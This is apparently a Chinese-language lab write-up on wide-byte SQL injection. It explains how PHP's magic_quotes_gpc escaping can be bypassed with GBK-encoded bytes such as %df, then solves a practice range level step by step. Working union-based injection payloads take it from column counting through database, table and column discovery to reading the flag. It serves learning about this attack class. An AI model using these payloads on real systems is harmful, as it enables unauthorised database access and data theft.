1.概念
1.魔术引号(magic_quotes_gpc)
- 概念:php的防御函数magic_quotes_gpc,函数的作用是判断解析用户提交的数据,例如包括post、get、cookie过来的数据增加转义字符“\”,已确保这些数据不会污染程序从而导致程序出现致命的错误。单引号、双引号、反斜线等字符都会被加上反斜线
- 作用:当php的传参有特殊字符就会在前面加上“\”
- 配置:魔术引号的配置开关位于php.ini文件中,默认是on。例:magic_quotes_gpc=On
2.宽字节注入原理:后端编码与数据库编码不一致导致的,我们可以利用gbk编码中文两个字节,通过拼凑%nf和/转义形成一个汉字的方式绕过,相当于我们所传的字符将反斜杠吃掉变成汉字。
1.靶场
1.pass-15—宽字节注入(一)
1)尝试进行sql注入
通过查看靶场的sql语言,发现是用’闭合的,尝试注入。payload:’ and 1=2 – qwe
发现单引号被转义了,尝试宽字节注入,payload: %9c’ and 1=2 – qwe
2)判断字段数
payload:%9c’ and order by 3 – qwe
使用%9c’ and order by 3 – qwe发现有结果,使用%df’ and order by 4 – qwe无结果,故确定字段数为3
3)查找库名
payload:%df’ union select 1,2,database() – qwe,得到库名为widechar
4)查找表名
payload:%df’ union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1 – qwe
得到表名china_flag
5)查找字段名
这里的表名使用十六进制代替
payload: %df’ union select 1,2,column_name from information_schema.columns where table_name = 0x6368696e615f666c6167 limit 1,1-- qwe
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-039MOqQd-1649516885844)(https://pic.imgdb.cn/item/624ef095239250f7c567f5de.png)]
得到字段C_Flag
6)查询flag
payload: %df’ union select 1,2,C_Flag from china_flag limit 0,1 – qwe